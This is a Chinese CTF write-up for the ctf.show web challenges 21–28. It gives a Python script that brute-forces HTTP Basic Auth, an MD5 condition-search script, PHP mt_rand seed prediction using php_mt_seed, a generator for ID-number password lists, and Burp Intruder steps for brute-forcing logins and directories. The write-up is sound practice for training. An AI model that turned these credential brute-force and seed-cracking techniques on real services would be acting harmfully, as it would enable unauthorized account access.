相关文章及参考资料
PS
做完了我才发现这些题的字典实在web21里面需要下载…
web21
爆破什么的,都是基操
burpsuite爆破:https://www.cnblogs.com/007NBqaq/p/13220297.html
直接展示登陆界面,随便输点什么,抓包,可以发现把账号密码放在了请求头中,并且根据末尾的==可以看出是base64加密,因此我们直接尝试Intruder模块爆破。
原理我们都懂,但是我们该如何操作呢?
方案一 burpsuite爆破
将请求转入intruder,因为会拼接payload,所以使用基本的sniper类型就行,在payload sets里面修改payload tpe为Custom Interator
,并且在payload option中按照顺序修改三个position。
而且我们观察可以注意到,我们还需要将payload使用base64加密,因此在payload processing里面添加转换:
最后再将末尾的转义关闭。
这种情况下爆破即可。
方案二 脚本爆破
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-11-20 19:16:49
# @Last Modified by: h1xa
# @Last Modified time: 2020-11-20 20:28:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import time
import requests
import base64
url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php'
password = []
with open("1.txt", "r") as f:
while True:
data = f.readline()
if data:
password.append(data)
else:
break
for p in password:
strs = 'admin:'+ p[:-1]
header={
'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
}
rep =requests.get(url,headers=header)
time.sleep(0.2)
if rep.status_code ==200:
print(rep.text)
break
web22
域名也可以爆破的,试试爆破这个ctf.show的子域名
web23
还爆破?这么多代码,告辞!
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
这题考的是脚本编写,直接使用脚本:
import hashlib
dic = '0123456789qwertyuiopasdfghjklzxcvbnm'
for a in dic:
for b in dic:
t = str(a) + str(b)
md5 = hashlib.md5(t.encode()).hexdigest()
# print(md5)
# print(md5[1:2])
# print(md5[14:15])
# print(md5[17:18])
if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:
if (ord(md5[1:2])) >= 48 and ord(md5[1:2]) <= 57 and (ord(md5[14:15])) >= 48 and ord(md5[14:15]) <= 57:
if (ord(md5[17:18])) >= 48 and ord(md5[17:18]) <= 57 and (ord(md5[31:32])) >= 48 and ord(
md5[31:32]) <= 57:
if (int(md5[1:2]) + int(md5[14:15]) + int(md5[17:18])) / int(md5[1:2]) == int(md5[31:32]):
print(t)
这里面我最开始写的时候没有12-14行,虽然会报错但是也能运行,wp中将其完善了一下。得到运行结果3j
直接post传入即可得到flag。
Q&A
Q:这里为什么分别用ord和int:
A:int改变数据类型,外型不变;ord改变数据类型,值不改变:
web24
爆个🔨
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:26:39
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?>
方案一
代码中的mt_srand()
为随机数生成器设定种子,可以之后调用随机数生成器,可以保证随机数生成的相同。所以这题很明确了,直接找到生成的随机数即可。
用PHPStorm找一下:
<?php
$a = mt_srand(372619038);
$b = mt_rand();
echo $b;
?>
然后直接get传入即可:
web25
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
其中hexdec()
函数将十六进制转化为十进制。猪脑过载了,开始打算写脚本跑出来第一个(第七行)的mt_rand()的值,但似乎直接给r传入0就行……
直接将r传入0,得到第一个mt_rand的值1277101134
(即时生成的)。这时候,我们的目标就转化为尝试找到原种子的值。在搜索之后,发现有一个php_mt_seed的项目可以尝试破解出原种子的值。
php_mt_seed
下载:https://www.openwall.com/php_mt_seed/
下载之后直接在kali中解压中即可(可以使用windows,但是需要g++编译,因为之前没安装过)
解压之后需要先make一下生成文件(我这里刚刚更新过)
make
然后
time ./php_mt_seed 1277101134
等待它找到seed。
然后将生成的mt_rand()的结果相加:
<?php
$a = array(3352708826, 3352708827, 72059293, 379534775, 2177040484, 2437797623, 3102727756, 3907641824);
for ($f = 0; $f < 11; $f++){
mt_srand($a[$f]);
echo $f;
echo "\n";
echo mt_rand();
echo "\n";
$b = mt_rand();
echo $b;
echo "\n";
$c = mt_rand();
echo $c;
echo "\n";
echo $b + $c;
echo "\n";
echo "\n";
}
?>
然后就是一个一个尝试进去得到flag:
web26
上来就是连接数据库,但是似乎全为空的时候就连接成功了,应该是bug。
爆破的话可能费点劲了
web27
方案一
这题有点意思,上来就是一个登陆页面:
下方有一个录取名单获取,下载一下:
网页中还有一个学籍管理系统,估计就是用这个来查找了,我们可以尝试爆破这个页面:
修改payload类型
然后直接查询。
这下就得到了账号:02015237 密码:621022199002015237
返回去登陆页面。登录即可
方案二
wp提供的脚本:
<?php
//621022********5237
$myfile = fopen("zid.txt", "w") or die("Unable to open file!");
for($year=1990;$year<1993;$year++){
for($mon=1;$mon<10;$mon++){
for($day=01;$day<10;$day++)
{
$txt=('621022'.$year.'0'.$mon.'0'.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=1;$mon<10;$mon++){
for($day=10;$day<=31;$day++)
{
$txt=('621022'.$year."0".$mon.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=10;$mon<=12;$mon++){
for($day=10;$day<=31;$day++)
{
$txt=('621022'.$year.$mon.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=10;$mon<=12;$mon++){
for($day=01;$day<10;$day++)
{
$txt=('621022'.$year.$mon."0".$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
close($myfile);
web28
上来页面中什么也没有,但是注意到域名中有蹊跷:
提示里面写了只用爆破目录即可,因此修改intruder。
注意
他说的爆破目录修改的payload应该是:/0/1/
而不是/0/1
,后者会返回重定向301